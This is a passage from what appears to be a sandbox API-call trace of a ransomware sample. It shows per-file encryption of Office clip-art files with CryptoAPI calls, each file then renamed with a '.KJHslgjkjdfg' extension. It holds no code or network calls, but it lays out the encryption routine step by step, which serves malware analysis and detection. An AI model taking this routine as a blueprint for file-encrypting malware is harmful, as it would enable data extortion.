dwBufLen=0x8a10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8a10) returned 1 [0196.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.721] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8a10, lpOverlapped=0x0) returned 1 [0196.721] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.721] SetEndOfFile (hFile=0x130) returned 1 [0196.724] GetProcessHeap () returned 0x990000 [0196.724] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.724] GetProcessHeap () returned 0x990000 [0196.724] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.725] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.kjhslgjkjdfg")) returned 1 [0196.726] CloseHandle (hObject=0x130) returned 1 [0196.726] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1 [0196.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.727] GetProcessHeap () returned 0x990000 [0196.727] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.727] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.727] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0196.730] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.730] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.730] GetProcessHeap () returned 0x990000 [0196.730] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.730] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.730] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.730] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.730] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.730] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.731] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.731] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.731] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.731] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.731] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7d6e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7d6e, lpOverlapped=0x0) returned 1 [0196.733] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7d70, dwBufLen=0x7d70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7d70) returned 1 [0196.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.733] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7d70, lpOverlapped=0x0) returned 1 [0196.734] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.734] SetEndOfFile (hFile=0x130) returned 1 [0196.737] GetProcessHeap () returned 0x990000 [0196.737] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.737] GetProcessHeap () returned 0x990000 [0196.737] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.kjhslgjkjdfg")) returned 1 [0196.739] CloseHandle (hObject=0x130) returned 1 [0196.739] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1 [0196.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.741] GetProcessHeap () returned 0x990000 [0196.741] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.741] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.741] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0196.743] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.743] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.744] GetProcessHeap () returned 0x990000 [0196.744] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.744] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.744] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.744] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.744] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.744] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.744] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.744] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.744] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.744] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.744] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40e7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x40e7, lpOverlapped=0x0) returned 1 [0196.747] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x40f0, dwBufLen=0x40f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x40f0) returned 1 [0196.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.747] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x40f0, lpOverlapped=0x0) returned 1 [0196.747] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.747] SetEndOfFile (hFile=0x130) returned 1 [0196.750] GetProcessHeap () returned 0x990000 [0196.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.750] GetProcessHeap () returned 0x990000 [0196.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.kjhslgjkjdfg")) returned 1 [0196.752] CloseHandle (hObject=0x130) returned 1 [0196.752] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1 [0196.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.753] GetProcessHeap () returned 0x990000 [0196.753] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.753] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.753] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.756] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.756] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.756] GetProcessHeap () returned 0x990000 [0196.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.756] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.756] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.756] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.756] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.756] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.757] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.757] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.757] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5f48, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5f48, lpOverlapped=0x0) returned 1 [0196.758] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f50, dwBufLen=0x5f50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f50) returned 1 [0196.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.759] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5f50, lpOverlapped=0x0) returned 1 [0196.759] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.759] SetEndOfFile (hFile=0x130) returned 1 [0196.762] GetProcessHeap () returned 0x990000 [0196.762] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.762] GetProcessHeap () returned 0x990000 [0196.762] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.kjhslgjkjdfg")) returned 1 [0196.764] CloseHandle (hObject=0x130) returned 1 [0196.764] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1 [0196.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.765] GetProcessHeap () returned 0x990000 [0196.765] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.765] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.765] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0196.769] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.769] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.769] GetProcessHeap () returned 0x990000 [0196.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.769] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.769] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.769] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.769] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.769] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.769] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.770] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.770] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.770] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.770] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3b2e, lpOverlapped=0x0) returned 1 [0196.771] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b30) returned 1 [0196.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.772] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3b30, lpOverlapped=0x0) returned 1 [0196.772] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.772] SetEndOfFile (hFile=0x130) returned 1 [0196.775] GetProcessHeap () returned 0x990000 [0196.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.775] GetProcessHeap () returned 0x990000 [0196.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.kjhslgjkjdfg")) returned 1 [0196.776] CloseHandle (hObject=0x130) returned 1 [0196.776] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | 